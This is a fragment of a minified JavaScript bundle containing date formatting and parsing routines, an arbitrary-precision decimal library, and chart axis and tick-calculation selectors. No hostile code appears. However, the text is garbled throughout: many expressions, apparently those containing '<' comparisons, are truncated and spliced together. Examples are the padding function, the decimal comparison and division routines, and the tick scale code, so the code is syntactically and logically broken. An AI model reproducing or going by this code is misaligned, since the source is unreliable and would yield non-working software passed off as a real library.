C},K},utcParse:function(C){var K=N(C+="",!0);return K.toString=function(){return C},K}}}var K1={"-":"",_:" ",0:"0"},bt=/^\s*\d+/,RL=/^%/,$L=/[\\^$*+?|[\]().{}]/g;function Ce(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function FL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function WL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function UL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function VL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function HL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function q1(e,t,n){var r=bt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function Y1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function KL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function qL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function YL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function G1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function GL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function X1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function XL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function ZL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function QL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function JL(e,t,n){var r=bt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function e7(e,t,n){var r=RL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function t7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function n7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function Z1(e,t){return Ce(e.getDate(),t,2)}function r7(e,t){return Ce(e.getHours(),t,2)}function i7(e,t){return Ce(e.getHours()%12||12,t,2)}function a7(e,t){return Ce(1+il.count(_r(e),e),t,3)}function ZN(e,t){return Ce(e.getMilliseconds(),t,3)}function s7(e,t){return ZN(e,t)+"000"}function o7(e,t){return Ce(e.getMonth()+1,t,2)}function l7(e,t){return Ce(e.getMinutes(),t,2)}function c7(e,t){return Ce(e.getSeconds(),t,2)}function u7(e){var t=e.getDay();return t===0?7:t}function d7(e,t){return Ce(Wd.count(_r(e)-1,e),t,2)}function QN(e){var t=e.getDay();return t>=4||t===0?es(e):es.ceil(e)}function f7(e,t){return e=QN(e),Ce(es.count(_r(e),e)+(_r(e).getDay()===4),t,2)}function p7(e){return e.getDay()}function m7(e,t){return Ce(ku.count(_r(e)-1,e),t,2)}function h7(e,t){return Ce(e.getFullYear()%100,t,2)}function x7(e,t){return e=QN(e),Ce(e.getFullYear()%100,t,2)}function v7(e,t){return Ce(e.getFullYear()%1e4,t,4)}function g7(e,t){var n=e.getDay();return e=n>=4||n===0?es(e):es.ceil(e),Ce(e.getFullYear()%1e4,t,4)}function y7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+Ce(t/60|0,"0",2)+Ce(t%60,"0",2)}function Q1(e,t){return Ce(e.getUTCDate(),t,2)}function b7(e,t){return Ce(e.getUTCHours(),t,2)}function w7(e,t){return Ce(e.getUTCHours()%12||12,t,2)}function j7(e,t){return Ce(1+Fd.count(Or(e),e),t,3)}function JN(e,t){return Ce(e.getUTCMilliseconds(),t,3)}function k7(e,t){return JN(e,t)+"000"}function N7(e,t){return Ce(e.getUTCMonth()+1,t,2)}function S7(e,t){return Ce(e.getUTCMinutes(),t,2)}function z7(e,t){return Ce(e.getUTCSeconds(),t,2)}function C7(e){var t=e.getUTCDay();return t===0?7:t}function P7(e,t){return Ce(Ud.count(Or(e)-1,e),t,2)}function e4(e){var t=e.getUTCDay();return t>=4||t===0?ts(e):ts.ceil(e)}function E7(e,t){return e=e4(e),Ce(ts.count(Or(e),e)+(Or(e).getUTCDay()===4),t,2)}function A7(e){return e.getUTCDay()}function _7(e,t){return Ce(Nu.count(Or(e)-1,e),t,2)}function O7(e,t){return Ce(e.getUTCFullYear()%100,t,2)}function T7(e,t){return e=e4(e),Ce(e.getUTCFullYear()%100,t,2)}function M7(e,t){return Ce(e.getUTCFullYear()%1e4,t,4)}function L7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ts(e):ts.ceil(e),Ce(e.getUTCFullYear()%1e4,t,4)}function I7(){return"+0000"}function J1(){return"%"}function eb(e){return+e}function tb(e){return Math.floor(+e/1e3)}var pa,t4,n4;D7({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function D7(e){return pa=DL(e),t4=pa.format,pa.parse,n4=pa.utcFormat,pa.utcParse,pa}function R7(e){return new Date(e)}function $7(e){return e instanceof Date?+e:+new Date(+e)}function p0(e,t,n,r,i,a,o,l,c,u){var d=Jx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>C8(e,a/r))},n.copy=function(){return s4(t).domain(e)},Br.apply(n,arguments)}function Hd(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Mt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Kd=T([Fr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),u4=(e,t,n,r)=>r?Kd(e):Fr(e),V7=(e,t,n)=>n?Kd(e):Fr(e);function Tr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ze(t)&&ze(n))return!0}return!1}function nb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function d4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(ze(n))i=n;else if(typeof n=="function")return;if(ze(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(Tr(o))return o}}function H7(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Tr(r))return nb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(he(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&by.test(i)){var c=by.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(he(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&wy.test(a)){var d=wy.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(Tr(m))return t==null?m:nb(m,t,n)}}}var fs=1e9,K7={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},v0,He=!0,Cn="[DecimalError] ",Hi=Cn+"Invalid argument: ",x0=Cn+"Exponent out of range: ",ps=Math.floor,Ti=Math.pow,q7=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,tn,xt=1e7,$e=7,f4=9007199254740991,Su=ps(f4/$e),ce={};ce.absoluteValue=ce.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ce.comparedTo=ce.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ce.decimalPlaces=ce.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*$e;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ce.dividedBy=ce.div=function(e){return jr(this,new this.constructor(e))};ce.dividedToIntegerBy=ce.idiv=function(e){var t=this,n=t.constructor;return Te(jr(t,new n(e),0,1),n.precision)};ce.equals=ce.eq=function(e){return!this.cmp(e)};ce.exponent=function(){return ot(this)};ce.greaterThan=ce.gt=function(e){return this.cmp(e)>0};ce.greaterThanOrEqualTo=ce.gte=function(e){return this.cmp(e)>=0};ce.isInteger=ce.isint=function(){return this.e>this.d.length-2};ce.isNegative=ce.isneg=function(){return this.s<0};ce.isPositive=ce.ispos=function(){return this.s>0};ce.isZero=function(){return this.s===0};ce.lessThan=ce.lt=function(e){return this.cmp(e)<0};ce.lessThanOrEqualTo=ce.lte=function(e){return this.cmp(e)<1};ce.logarithm=ce.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(tn))throw Error(Cn+"NaN");if(n.s<1)throw Error(Cn+(n.s?"NaN":"-Infinity"));return n.eq(tn)?new r(0):(He=!1,t=jr(Bo(n,a),Bo(e,a),a),He=!0,Te(t,i))};ce.minus=ce.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?h4(t,e):p4(t,(e.s=-e.s,e))};ce.modulo=ce.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Cn+"NaN");return n.s?(He=!1,t=jr(n,e,0,1).times(e),He=!0,n.minus(t)):Te(new r(n),i)};ce.naturalExponential=ce.exp=function(){return m4(this)};ce.naturalLogarithm=ce.ln=function(){return Bo(this)};ce.negated=ce.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ce.plus=ce.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?p4(t,e):h4(t,(e.s=-e.s,e))};ce.precision=ce.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Hi+e);if(t=ot(i)+1,r=i.d.length-1,n=r*$e+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ce.squareRoot=ce.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Cn+"NaN")}for(e=ot(l),He=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=rr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ps((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(jr(l,a,o+2)).times(.5),rr(a.d).slice(0,o)===(t=rr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Te(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return He=!0,Te(r,n)};ce.times=ce.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%xt|0,t=l/xt|0;a[i]=(a[i]+t)%xt|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,He?Te(e,f.precision):e};ce.toDecimalPlaces=ce.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(lr(e,0,fs),t===void 0?t=r.rounding:lr(t,0,8),Te(n,e+ot(n)+1,t))};ce.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=aa(r,!0):(lr(e,0,fs),t===void 0?t=i.rounding:lr(t,0,8),r=Te(new i(r),e+1,t),n=aa(r,!0,e+1)),n};ce.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?aa(i):(lr(e,0,fs),t===void 0?t=a.rounding:lr(t,0,8),r=Te(new a(i),e+ot(i)+1,t),n=aa(r.abs(),!1,e+ot(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ce.toInteger=ce.toint=function(){var e=this,t=e.constructor;return Te(new t(e),ot(e)+1,t.rounding)};ce.toNumber=function(){return+this};ce.toPower=ce.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(tn);if(l=new c(l),!l.s){if(e.s<1)throw Error(Cn+"Infinity");return l}if(l.eq(tn))return l;if(r=c.precision,e.eq(tn))return Te(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=f4){for(i=new c(tn),t=Math.ceil(r/$e+4),He=!1;n%2&&(i=i.times(l),ib(i.d,t)),n=ps(n/2),n!==0;)l=l.times(l),ib(l.d,t);return He=!0,e.s<0?new c(tn).div(i):Te(i,r)}}else if(a<0)throw Error(Cn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,He=!1,i=e.times(Bo(l,r+u)),He=!0,i=m4(i),i.s=a,i};ce.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=ot(i),r=aa(i,n<=a.toExpNeg||n>=a.toExpPos)):(lr(e,1,fs),t===void 0?t=a.rounding:lr(t,0,8),i=Te(new a(i),e,t),n=ot(i),r=aa(i,e<=n||n<=a.toExpNeg,e)),r};ce.toSignificantDigits=ce.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(lr(e,1,fs),t===void 0?t=r.rounding:lr(t,0,8)),Te(new r(n),e,t)};ce.toString=ce.valueOf=ce.val=ce.toJSON=ce[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ot(e),n=e.constructor;return aa(e,t<=n.toExpNeg||t>=n.toExpPos)};function p4(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),He?Te(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/$e),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/xt|0,c[a]%=xt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,He?Te(t,f):t}function lr(e,t,n){if(e!==~~e||en)throw Error(Hi+e)}function rr(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,_=r.constructor,A=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new _(r);if(!i.s)throw Error(Cn+"Division by zero");for(c=r.e-i.e,N=P.length,k=O.length,h=new _(A),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,a==null?b=a=_.precision:o?b=a+(ot(r)-ot(i))+1:b=a,b<0)return new _(0);if(b=b/$e+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),O=e(O,d),N=P.length,k=O.length),j=N,g=O.slice(0,N),y=g.length;y=xt/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*xt+(g[1]||0)),d=v/S|0,d>1?(d>=xt&&(d=xt-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(x0+ot(e));if(!e.s)return new d(tn);for(He=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ti(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(tn),d.precision=l;;){if(i=Te(i.times(e),l),n=n.times(++c),o=a.plus(jr(i,n,l)),rr(o.d).slice(0,l)===rr(a.d).slice(0,l)){for(;u--;)a=Te(a.times(a),l);return d.precision=f,t==null?(He=!0,Te(a,f)):a}a=o}}function ot(e){for(var t=e.e*$e,n=e.d[0];n>=10;n/=10)t++;return t}function dp(e,t,n){if(t>e.LN10.sd())throw He=!0,n&&(e.precision=n),Error(Cn+"LN10 precision limit exceeded");return Te(new e(e.LN10),t)}function Yr(e){for(var t="";e--;)t+="0";return t}function Bo(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Cn+(h.s?"NaN":"-Infinity"));if(h.eq(tn))return new g(0);if(t==null?(He=!1,u=y):u=t,h.eq(10))return t==null&&(He=!0),dp(g,u);if(u+=m,g.precision=u,n=rr(x),r=n.charAt(0),a=ot(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=rr(h.d),r=n.charAt(0),f++;a=ot(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=dp(g,u+2,y).times(a+""),h=Bo(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?(He=!0,Te(h,y)):h;for(l=o=h=jr(h.minus(tn),h.plus(tn),u),d=Te(h.times(h),u),i=3;;){if(o=Te(o.times(d),u),c=l.plus(jr(o,new g(i),u)),rr(c.d).slice(0,u)===rr(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(dp(g,u+2,y).times(a+""))),l=jr(l,new g(f),u),g.precision=y,t==null?(He=!0,Te(l,y)):l;l=c,i+=2}}function rb(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ps(n/$e),e.d=[],r=(n+1)%$e,n<0&&(r+=$e),rSu||e.e<-Su))throw Error(x0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Te(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=$e,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/$e),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=$e,i=r-$e+o}if(n!==void 0&&(a=Ti(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ti(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=ot(e),f.length=1,t=t-a-1,f[0]=Ti(10,($e-t%$e)%$e),e.e=ps(-t/$e)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=Ti(10,$e-r),f[d]=i>0?(u/Ti(10,o-i)%Ti(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==xt&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=xt)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if(He&&(e.e>Su||e.e<-Su))throw Error(x0+ot(e));return e}function h4(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),He?Te(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/$e),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Yr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Yr(-i-1)+a,n&&(r=n-o)>0&&(a+=Yr(r))):i>=o?(a+=Yr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Yr(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Yr(r))),e.s<0?"-"+a:a}function ib(e,t){if(e.length>t)return e.length=t,!0}function x4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Hi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return rb(o,a.toString())}else if(typeof a!="string")throw Error(Hi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,q7.test(a))rb(o,a);else throw Error(Hi+a)}if(i.prototype=ce,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=x4,i.config=i.set=Y7,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Hi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Hi+n+": "+r);return this}var v0=x4(K7);tn=new v0(1);const Pe=v0;function v4(e){var t;return e===0?t=1:t=Math.floor(new Pe(e).abs().log(10).toNumber())+1,t}function g4(e,t,n){for(var r=new Pe(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var y4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},b4=(e,t,n)=>{if(e.lte(0))return new Pe(0);var r=v4(e.toNumber()),i=new Pe(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new Pe(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Pe(c.toNumber()):new Pe(Math.ceil(c.toNumber()))},G7=(e,t,n)=>{var r=new Pe(1),i=new Pe(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new Pe(10).pow(v4(e)-1),i=new Pe(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new Pe(Math.floor(e)))}else e===0?i=new Pe(Math.floor((t-1)/2)):n||(i=new Pe(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Pe(0),tickMin:new Pe(0),tickMax:new Pe(0)};var o=b4(new Pe(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new Pe(0):(l=new Pe(t).add(n).div(2),l=l.sub(new Pe(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Pe(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?w4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Pe(c).mul(o)),tickMax:l.add(new Pe(u).mul(o))})},X7=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=y4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return G7(l,i,a);var{step:d,tickMin:f,tickMax:m}=w4(l,c,o,a,0),h=g4(f,m.add(new Pe(.1).mul(d)),d);return n>r?h.reverse():h},Z7=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=y4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=b4(new Pe(l).sub(o).div(c-1),a,0),d=[...g4(new Pe(o),new Pe(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},Q7=e=>e.rootProps.barCategoryGap,al=e=>e.rootProps.stackOffset,j4=e=>e.rootProps.reverseStackOrder,g0=e=>e.options.chartName,y0=e=>e.rootProps.syncId,k4=e=>e.rootProps.syncMethod,b0=e=>e.options.eventEmitter,J7=e=>e.rootProps.baseValue,Ht={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},zi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Zn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},qd=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function N4(e,t,n){if(n!=="auto")return n;if(e!=null)return dr(e,t)?"category":"number"}function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},w0=T([rI,sN],(e,t)=>{var n;if(e!=null)return e;var r=(n=N4(t,"angleAxis",sb.type))!==null&&n!==void 0?n:"category";return zu(zu({},sb),{},{type:r})}),iI=(e,t)=>e.polarAxis.radiusAxis[t],j0=T([iI,sN],(e,t)=>{var n;if(e!=null)return e;var r=(n=N4(t,"radiusAxis",ob.type))!==null&&n!==void 0?n:"category";return zu(zu({},ob),{},{type:r})}),Yd=e=>e.polarOptions,k0=T([Rr,$r,yt],kN),S4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.innerRadius,t,0)}),z4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.outerRadius,t,t*.8)}),aI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},C4=T([Yd],aI);T([w0,C4],qd);var P4=T([k0,S4,z4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});T([j0,P4],qd);var E4=T([Me,Yd,S4,z4,Rr,$r],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:sn(o,i,i/2),cy:sn(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Ze=(e,t)=>t,sl=(e,t,n)=>n;function N0(e){return e==null?void 0:e.id}function A4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=N0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Fe(f,a,null)),x=Fe(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function S0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Gd=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Xd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function sI(e,t){if(e.length===t.length){for(var n=0;n{var t=Me(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ms=e=>e.tooltip.settings.axisId;function oI(e){if(e in qs)return qs[e]();var t="scale".concat(Go(e));if(t in qs)return qs[t]()}function lb(e){var 